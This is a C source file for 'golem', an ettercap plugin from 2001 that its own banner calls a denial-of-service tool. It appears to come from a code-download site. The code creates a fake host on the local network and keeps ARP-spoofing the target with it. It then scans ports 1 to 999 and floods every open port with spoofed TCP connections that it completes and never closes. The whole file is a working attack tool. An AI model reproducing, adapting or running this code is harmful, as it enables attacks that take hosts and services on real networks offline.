golem.c
上传用户:nilegod
上传日期:2007-01-08
资源大小:220k
文件大小:7k
- /*
- golem -- ettercap plugin -- a nice D.O.S. :)
- Copyright (C) 2001 NaGoR
- This program is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; either version 2 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program; if not, write to the Free Software
- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- */
- #include <sys/types.h>
- #include <sys/ipc.h>
- #include <sys/shm.h>
- #include <signal.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <time.h>
- #include "../../src/include/ec_main.h"
- #include "../../src/include/ec_plugins.h"
- #include "../../src/include/ec_inet_structures.h"
- #include "../../src/include/ec_inet.h"
- #include "../../src/include/ec_inet_forge.h"
- char Ettercap_Version[] = VERSION; // required -- for compatibility
- char PlugIn_Info[] = "nice D.O.S. BE CAREFULL !!";
- short PlugIn_Version = 8;
- #define SYN_SEQ 6969
- // global data...
- int IPS, IPD, sock, MTU, CID1, CID2, *port_index;
- unsigned short PORTS, IP_ID;
- short *PORTREP;
- unsigned char MACS[6];
- unsigned char MACD[6];
- char *pck_to_send;
- // ---------------------------
- void Parse_packet(char *buffer)
- {
- IP_header *ip;
- TCP_header *tcp;
- ip = (IP_header *) (buffer+ETH_HEADER);
- if (ip->source_ip==IPD && ip->dest_ip==IPS && ip->proto==IPPROTO_TCP)
- {
- tcp = (TCP_header *) ((int)ip + ip->h_len * 4);
- if ( (tcp->flags & TH_SYN) && (tcp->flags & TH_ACK) )
- {
- int i;
- for (i=0; i<*port_index; i++)
- if (ntohs(tcp->source)==PORTREP[i]) break;
- if (i==*port_index)
- {
- PORTREP[i]=ntohs(tcp->source);
- *port_index=*port_index+1;
- }
- Inet_Forge_ethernet( pck_to_send, MACS, MACD, ETH_P_IP );
- Inet_Forge_ip( pck_to_send + ETH_HEADER, IPS, IPD, TCP_HEADER, IP_ID++, 0, IPPROTO_TCP);
- Inet_Forge_tcp( pck_to_send + ETH_HEADER + IP_HEADER, ntohs(tcp->dest), ntohs(tcp->source), SYN_SEQ+1, ntohl(tcp->seq)+1, TH_ACK, 0, 0);
- Inet_SendRawPacket(sock, pck_to_send, ETH_HEADER + IP_HEADER + TCP_HEADER );
- }
- }
- }
- int Fake_Host()
- {
- unsigned int N_hosts, index, index1=0, index2, base_ip, fake_ip=0;
- unsigned long NetMask;
- Inet_GetIfaceInfo(Options.netiface, NULL, NULL, NULL, &NetMask);
- N_hosts = ntohl(~NetMask);
- base_ip = inet_addr(Host_In_LAN[0].ip)&NetMask;
- for (index=1; index<N_hosts; index++)
- {
- fake_ip = base_ip|htonl(index);
- for (index2=0; index2 < number_of_hosts_in_lan; index2++)
- if (fake_ip == inet_addr(Host_In_LAN[index2].ip))
- break;
- if (index2 == number_of_hosts_in_lan) break;
- }
- if (index1 == N_hosts) return 0;
- return (fake_ip);
- }
- void PlugIn_Start(char**argv)
- {
- int key, i;
- char cont[5];
- if (!strcmp(Host_Dest.ip,""))
- {
- Plugin_Output("Please select a Dest...n");
- return;
- }
- memset(cont, 0, 5);
- Plugin_Output("Are you sure you want to Golemize %s ? (yes/no) ", Host_Dest.ip );
- Plugin_Input(cont, 4, P_BLOCK);
- if (strcmp(cont, "yes")) // not sure... ;)
- {
- Plugin_Output("It is safe! for now...");
- return;
- }
- Plugin_Output("Building host list for netmask %s, please wait...n", Inet_MySubnet());
- number_of_hosts_in_lan = Inet_HostInLAN();
- for (i=0; i<number_of_hosts_in_lan; i++)
- if (!strcmp(Host_Dest.ip, Host_In_LAN[i].ip))
- Inet_GetMACfromString(Host_In_LAN[i].mac, MACD);
- IPS = Fake_Host();
- if (IPS == 0)
- {
- Plugin_Output("I can't find an unused IP in this LAN.n");
- Plugin_Output("I can't create the Fake Hostn");
- return;
- }
- IPD = inet_addr(Host_Dest.ip);
- sock = Inet_OpenRawSock(Options.netiface);
- Inet_GetIfaceInfo(Options.netiface, &MTU, MACS, 0, 0);
- key = shmget(0,15000,IPC_CREAT | 0600);
- port_index = (int *)shmat(key,0,0);
- shmctl(key, IPC_RMID, NULL);
- PORTREP = (short *)(port_index+1);
- memset(PORTREP,0,4096*sizeof(short));
- srand(time(0));
- IP_ID = PORTS = rand()%(0xFFFE)+1;
- *port_index = 0;
- if (! (CID1=fork()) )
- {
- strcpy(program_argv0, "golem");
- pck_to_send = (char *)Inet_Forge_packet( ETH_HEADER + ARP_HEADER );
- Inet_Forge_ethernet( pck_to_send, MACS, MACD, ETH_P_ARP );
- Inet_Forge_arp( pck_to_send+ETH_HEADER, ARPOP_REPLY, MACS, IPS, MACD, IPD);
- for (;;)
- {
- Inet_SendRawPacket(sock, pck_to_send, ETH_HEADER + ARP_HEADER);
- sleep(2);
- }
- }
- pck_to_send = (char *)Inet_Forge_packet( ETH_HEADER + IP_HEADER + TCP_HEADER );
- if (! (CID2=fork()) )
- {
- char *recv_pck;
- strcpy(program_argv0, "golem");
- for (i=1; i<1000; i++)
- {
- Inet_Forge_ethernet( pck_to_send, MACS, MACD, ETH_P_IP );
- Inet_Forge_ip( pck_to_send + ETH_HEADER, IPS, IPD, TCP_HEADER, IP_ID++, 0, IPPROTO_TCP);
- Inet_Forge_tcp( pck_to_send + ETH_HEADER + IP_HEADER, PORTS, i, SYN_SEQ, 0, TH_SYN, 0, 0);
- Inet_SendRawPacket(sock, pck_to_send, ETH_HEADER + IP_HEADER + TCP_HEADER );
- if(!(i%5)) usleep(500);
- }
- recv_pck = (char *)Inet_Forge_packet(MTU);
- for (;;)
- {
- Inet_GetRawPacket(sock, recv_pck, MTU, NULL);
- Parse_packet(recv_pck);
- }
- }
- else
- {
- int index;
- int OldIndex=0;
- char c[1] = "";
- struct in_addr fake;
- port_index=(int *)shmat(key,0,0);
- PORTREP=(short *)(port_index+1);
- fake.s_addr = IPS;
- Plugin_Output("nD.O.S.ing: %s from fake host: %sn", Host_Dest.ip, inet_ntoa(fake));
- Plugin_Output("nPress return to stop...nn");
- for (;;)
- {
- for (index=0; index<(*port_index); index++)
- {
- for (;OldIndex<(*port_index); OldIndex++)
- Plugin_Output("Attacking on port %dn",PORTREP[OldIndex]);
- PORTS++;
- Inet_Forge_ethernet( pck_to_send, MACS, MACD, ETH_P_IP );
- Inet_Forge_ip( pck_to_send + ETH_HEADER, IPS, IPD, TCP_HEADER, IP_ID++, 0, IPPROTO_TCP);
- Inet_Forge_tcp( pck_to_send + ETH_HEADER + IP_HEADER, PORTS, PORTREP[index], SYN_SEQ, 0, TH_SYN, 0, 0);
- Inet_SendRawPacket(sock, pck_to_send, ETH_HEADER + IP_HEADER + TCP_HEADER );
- if (!(index%5)) usleep(500);
- }
- usleep(2000);
- if (Plugin_Input(c, 1, P_NONBLOCK))
- {
- kill(CID1,SIGTERM);
- kill(CID2,SIGTERM);
- Inet_Forge_packet_destroy( pck_to_send );
- close(sock);
- return;
- }
- }
- }
- }
- /* EOF */